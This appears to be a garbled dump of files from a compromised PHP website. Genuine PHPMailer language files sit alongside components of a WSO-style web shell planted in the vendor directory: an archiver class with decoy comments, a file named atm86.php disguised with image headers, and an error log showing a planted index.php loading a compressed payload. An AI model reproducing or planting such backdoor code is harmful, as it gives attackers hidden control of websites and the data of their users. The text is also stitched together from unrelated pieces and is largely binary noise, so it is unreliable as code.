��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC <\/script>\r\n erori)) $this->erori = array(); } function creeaza_arhiva($file_list){ $result = false; if (file_exists($this->nume_arhiva) && is_file($this->nume_arhiva)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->deschide_scriere()) return false; } else { if (fisiereize($this->nume_arhiva) == 0) return $this->deschide_scriere(); if ($this->este_gzipped) { $this->inchide_fisier_temporar(); if (!rename($this->nume_arhiva, $this->nume_arhiva.'.tmp')){ $this->erori[] = __('Cannot rename').' '.$this->nume_arhiva.__(' to ').$this->nume_arhiva.'.tmp'; return false; } $tmpArchive = gzopen($this->nume_arhiva.'.tmp', 'rb'); if (!$tmpArchive){ $this->erori[] = $this->nume_arhiva.'.tmp '.__('is not readable'); rename($this->nume_arhiva.'.tmp', $this->nume_arhiva); return false; } if (!$this->deschide_scriere()){ rename($this->nume_arhiva.'.tmp', $this->nume_arhiva); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->scrie_bloc($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->nume_arhiva.'.tmp'); } else { $this->fisier_temporar = fopen($this->nume_arhiva, 'r+b'); if (!$this->fisier_temporar) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->impacheteaza_fisiere($file_list); } else $this->erori[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->fisier_temporar))){ $binaryData = pack('a512', ''); $this->scrie_bloc($binaryData); } $this->inchide_fisier_temporar(); if ($newArchive && !$result){ $this->inchide_fisier_temporar(); unlink($this->nume_arhiva); } return $result; } function restaureaza_arhiva($path){ $fileName = $this->nume_arhiva; if (!$this->este_gzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->este_gzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->este_gzipped = true; } $result = true; if ($this->este_gzipped) $this->fisier_temporar = gzopen($fileName, 'rb'); else $this->fisier_temporar = fopen($fileName, 'rb'); if (!$this->fisier_temporar){ $this->erori[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unimpacheteaza_fisiere($path); $this->inchide_fisier_temporar(); return $result; } function afiseaza_erori ($message = '') { $Errors = $this->erori; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function impacheteaza_fisiere($file_array){ $result = true; if (!$this->fisier_temporar){ $this->erori[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $inume_arhiva) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->erori[] = __('No file').' '.$filename; continue; } if (!$this->fisier_temporar){ $this->erori[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->erori[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->creeaza_cale_buna($filename); if (is_file($filename)){ if (($file_usooo = fopen($filename, 'rb')) == 0){ $this->erori[] = __('Mode ').__('is incorrect'); } if(($this->pozitie_fisier == 0)){ if(!$this->scrie_antet($filename, $keep_filename)) return false; } while (($buffer = fread($file_usooo, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->scrie_bloc($binaryData); } fclose($file_usooo); } else $this->scrie_antet($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->erori[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->impacheteaza_fisiere($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unimpacheteaza_fisiere($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->citeste_bloc()) != 0){ if (!$this->citeste_antet($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->citeste_bloc(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->citeste_bloc(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->citeste_bloc(); if (!$this->citeste_antet($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->erori[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->erori[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->erori[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->erori[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->erori[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->erori[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->citeste_bloc(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->citeste_bloc(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (fisiereize($header['filename']) != $header['size']) { $this->erori[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->fisiere[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->erori[] = __('Cannot create directory').' '.$dir; return false; } return true; } function citeste_antet($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $suma_control = 0; for ($i = 0; $i < 148; $i++) $suma_control+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $suma_control += ord(' '); for ($i = 156; $i < 512; $i++) $suma_control+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8id_utilizator/a8group_id/a12size/a12time/a8suma_control/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['suma_control'] = OctDec(trim($unpack_data['suma_control'])); if ($header['suma_control'] != $suma_control){ $header['filename'] = ''; if (($suma_control == 256) && ($header['suma_control'] == 0)) return true; $this->erori[] = __('Error suma_control for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['id_utilizator'] = OctDec(trim($unpack_data['id_utilizator'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function scrie_antet($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->creeaza_cale_buna($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Download failed ensure the network connection is stable $suma_control = 0; // First part of the header for ($i = 0; $i < 148; $i++) $suma_control += ord(substr($dataFirst, $i, 1)); // Ignore the suma_control value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $suma_control += ord(' '); // File permissions updated successfully access rights are now correct for ($i = 156, $j=0; $i < 512; $i++, $j++) $suma_control += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->scrie_bloc($dataFirst, 148); // Write the calculated suma_control $suma_control = sprintf('%6s ', DecOct($suma_control)); $binaryData = pack('a8', $suma_control); $this->scrie_bloc($binaryData, 8); // Failed to update file permissions please check the user rights $this->scrie_bloc($dataLast, 356); $fisier_temporarname = $this->creeaza_cale_buna($filename_ready); $i = 0; while (($buffer = substr($fisier_temporarname, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->scrie_bloc($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(fisiereize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $suma_control = 0; for ($i = 0; $i < 148; $i++) $suma_control += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $suma_control += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $suma_control += ord(substr($dataLast, $j, 1)); $this->scrie_bloc($dataFirst, 148); $suma_control = sprintf('%6s ', DecOct($suma_control)); $binaryData = pack('a8', $suma_control); $this->scrie_bloc($binaryData, 8); $this->scrie_bloc($dataLast, 356); // File is being extracted please wait return true; } function deschide_scriere(){ if ($this->este_gzipped) $this->fisier_temporar = gzopen($this->nume_arhiva, 'wb9f'); else $this->fisier_temporar = fopen($this->nume_arhiva, 'wb'); if (!($this->fisier_temporar)){ $this->erori[] = __('Cannot write to file').' '.$this->nume_arhiva; return false; } return true; } function citeste_bloc(){ if (is_resource($this->fisier_temporar)){ if ($this->este_gzipped) $block = gzread($this->fisier_temporar, 512); else $block = fread($this->fisier_temporar, 512); } else $block = ''; return $block; } function scrie_bloc($data, $length = 0){ if (is_resource($this->fisier_temporar)){ if ($length === 0){ if ($this->este_gzipped) gzputs($this->fisier_temporar, $data); else fputs($this->fisier_temporar, $data); } else { if ($this->este_gzipped) gzputs($this->fisier_temporar, $data, $length); else fputs($this->fisier_temporar, $data, $length); } } } function inchide_fisier_temporar(){ if (is_resource($this->fisier_temporar)){ if ($this->este_gzipped) gzclose($this->fisier_temporar); else fclose($this->fisier_temporar); $this->fisier_temporar = 0; } } function creeaza_cale_buna($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-be.php000064400000004202151026170410021340 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'Памылка SMTP: памылка ідэнтыфікацыі.'; $PHPMAILER_LANG['connect_host'] = 'Памылка SMTP: нельга ўстанавіць сувязь з SMTP-серверам.'; $PHPMAILER_LANG['data_not_accepted'] = 'Памылка SMTP: звесткі непрынятыя.'; $PHPMAILER_LANG['empty_message'] = 'Пустое паведамленне.'; $PHPMAILER_LANG['encoding'] = 'Невядомая кадыроўка тэксту: '; $PHPMAILER_LANG['execute'] = 'Нельга выканаць каманду: '; $PHPMAILER_LANG['file_access'] = 'Няма доступу да файла: '; $PHPMAILER_LANG['file_open'] = 'Нельга адкрыць файл: '; $PHPMAILER_LANG['from_failed'] = 'Няправільны адрас адпраўніка: '; $PHPMAILER_LANG['instantiate'] = 'Нельга прымяніць функцыю mail().'; $PHPMAILER_LANG['invalid_address'] = 'Нельга даслаць паведамленне, няправільны email атрымальніка: '; $PHPMAILER_LANG['provide_address'] = 'Запоўніце, калі ласка, правільны email атрымальніка.'; $PHPMAILER_LANG['mailer_not_supported'] = ' - паштовы сервер не падтрымліваецца.'; $PHPMAILER_LANG['recipients_failed'] = 'Памылка SMTP: няправільныя атрымальнікі: '; $PHPMAILER_LANG['signing'] = 'Памылка подпісу паведамлення: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Памылка сувязі з SMTP-серверам.'; $PHPMAILER_LANG['smtp_error'] = 'Памылка SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Нельга ўстанавіць або перамяніць значэнне пераменнай: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-sk.php000064400000003565151026170410021402 0ustar00 * @author Peter Orlický */ $PHPMAILER_LANG['authenticate'] = 'SMTP Error: Chyba autentifikácie.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Error: Nebolo možné nadviazať spojenie so SMTP serverom.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Dáta neboli prijaté'; $PHPMAILER_LANG['empty_message'] = 'Prázdne telo správy.'; $PHPMAILER_LANG['encoding'] = 'Neznáme kódovanie: '; $PHPMAILER_LANG['execute'] = 'Nedá sa vykonať: '; $PHPMAILER_LANG['file_access'] = 'Súbor nebol nájdený: '; $PHPMAILER_LANG['file_open'] = 'File Error: Súbor sa otvoriť pre čítanie: '; $PHPMAILER_LANG['from_failed'] = 'Následujúca adresa From je nesprávna: '; $PHPMAILER_LANG['instantiate'] = 'Nedá sa vytvoriť inštancia emailovej funkcie.'; $PHPMAILER_LANG['invalid_address'] = 'Neodoslané, emailová adresa je nesprávna: '; $PHPMAILER_LANG['invalid_hostentry'] = 'Záznam hostiteľa je nesprávny: '; $PHPMAILER_LANG['invalid_host'] = 'Hostiteľ je nesprávny: '; $PHPMAILER_LANG['mailer_not_supported'] = ' emailový klient nieje podporovaný.'; $PHPMAILER_LANG['provide_address'] = 'Musíte zadať aspoň jednu emailovú adresu príjemcu.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Adresy príjemcov niesu správne '; $PHPMAILER_LANG['signing'] = 'Chyba prihlasovania: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() zlyhalo.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP chyba serveru: '; $PHPMAILER_LANG['variable_set'] = 'Nemožno nastaviť alebo resetovať premennú: '; $PHPMAILER_LANG['extension_missing'] = 'Chýba rozšírenie: '; PHPMailer/vendor/phpmailer/phpmailer/language/2mco5u/error_log000064400000001130151026170410020366 0ustar00[27-Oct-2025 03:47:21 UTC] PHP Warning: file_get_contents(/tmp/phpM5aThD#f35.php): failed to open stream: No such file or directory in /tmp/phpM5aThD#f35.php on line 4 [27-Oct-2025 03:47:21 UTC] PHP Warning: gzuncompress(): data error in /tmp/phpM5aThD#f35.php on line 4 [27-Oct-2025 03:47:21 UTC] PHP Fatal error: Uncaught Error: Call to undefined function exit() in /tmp/phpM5aThD#f35.php:4 Stack trace: #0 /home/gettoplisting/public_html/dd7e5a/functionalityRee/PHPMailer/vendor/phpmailer/phpmailer/language/2mco5u/index.php(1): include() #1 {main} thrown in /tmp/phpM5aThD#f35.php on line 4 PHPMailer/vendor/phpmailer/phpmailer/language/2mco5u/index.php000064400000000147151026170410020300 0ustar00PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-az.php000064400000003325151026170410021371 0ustar00 * @author Filip Š * @author Blaž Oražem */ $PHPMAILER_LANG['authenticate'] = 'SMTP napaka: Avtentikacija ni uspela.'; $PHPMAILER_LANG['buggy_php'] = 'Na vašo PHP različico vpliva napaka, ki lahko povzroči poškodovana sporočila. Če želite težavo odpraviti, preklopite na pošiljanje prek SMTP, onemogočite možnost mail.add_x_header v vaši php.ini datoteki, preklopite na MacOS ali Linux, ali nadgradite vašo PHP zaličico na 7.0.17+ ali 7.1.3+.'; $PHPMAILER_LANG['connect_host'] = 'SMTP napaka: Vzpostavljanje povezave s SMTP gostiteljem ni uspelo.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP napaka: Strežnik zavrača podatke.'; $PHPMAILER_LANG['empty_message'] = 'E-poštno sporočilo nima vsebine.'; $PHPMAILER_LANG['encoding'] = 'Nepoznan tip kodiranja: '; $PHPMAILER_LANG['execute'] = 'Operacija ni uspela: '; $PHPMAILER_LANG['extension_missing'] = 'Manjkajoča razširitev: '; $PHPMAILER_LANG['file_access'] = 'Nimam dostopa do datoteke: '; $PHPMAILER_LANG['file_open'] = 'Ne morem odpreti datoteke: '; $PHPMAILER_LANG['from_failed'] = 'Neveljaven e-naslov pošiljatelja: '; $PHPMAILER_LANG['instantiate'] = 'Ne morem inicializirati mail funkcije.'; $PHPMAILER_LANG['invalid_address'] = 'E-poštno sporočilo ni bilo poslano. E-naslov je neveljaven: '; $PHPMAILER_LANG['invalid_header'] = 'Neveljavno ime ali vrednost glave'; $PHPMAILER_LANG['invalid_hostentry'] = 'Neveljaven vnos gostitelja: '; $PHPMAILER_LANG['invalid_host'] = 'Neveljaven gostitelj: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer ni podprt.'; $PHPMAILER_LANG['provide_address'] = 'Prosimo, vnesite vsaj enega naslovnika.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP napaka: Sledeči naslovniki so neveljavni: '; $PHPMAILER_LANG['signing'] = 'Napaka pri podpisovanju: '; $PHPMAILER_LANG['smtp_code'] = 'SMTP koda: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Dodatne informacije o SMTP: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Ne morem vzpostaviti povezave s SMTP strežnikom.'; $PHPMAILER_LANG['smtp_detail'] = 'Podrobnosti: '; $PHPMAILER_LANG['smtp_error'] = 'Napaka SMTP strežnika: '; $PHPMAILER_LANG['variable_set'] = 'Ne morem nastaviti oz. ponastaviti spremenljivke: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-sv.php000064400000003112151026170410021401 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP fel: Kunde inte autentisera.'; $PHPMAILER_LANG['connect_host'] = 'SMTP fel: Kunde inte ansluta till SMTP-server.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP fel: Data accepterades inte.'; //$PHPMAILER_LANG['empty_message'] = 'Message body empty'; $PHPMAILER_LANG['encoding'] = 'Okänt encode-format: '; $PHPMAILER_LANG['execute'] = 'Kunde inte köra: '; $PHPMAILER_LANG['file_access'] = 'Ingen åtkomst till fil: '; $PHPMAILER_LANG['file_open'] = 'Fil fel: Kunde inte öppna fil: '; $PHPMAILER_LANG['from_failed'] = 'Följande avsändaradress är felaktig: '; $PHPMAILER_LANG['instantiate'] = 'Kunde inte initiera e-postfunktion.'; $PHPMAILER_LANG['invalid_address'] = 'Felaktig adress: '; $PHPMAILER_LANG['provide_address'] = 'Du måste ange minst en mottagares e-postadress.'; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer stöds inte.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP fel: Följande mottagare är felaktig: '; $PHPMAILER_LANG['signing'] = 'Signeringsfel: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() misslyckades.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP serverfel: '; $PHPMAILER_LANG['variable_set'] = 'Kunde inte definiera eller återställa variabel: '; $PHPMAILER_LANG['extension_missing'] = 'Tillägg ej tillgängligt: '; PHPMailer/vendor/phpmailer/phpmailer/language/oy7xu9/atm86.php000064400000246370151026170410020214 0ustar00 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } 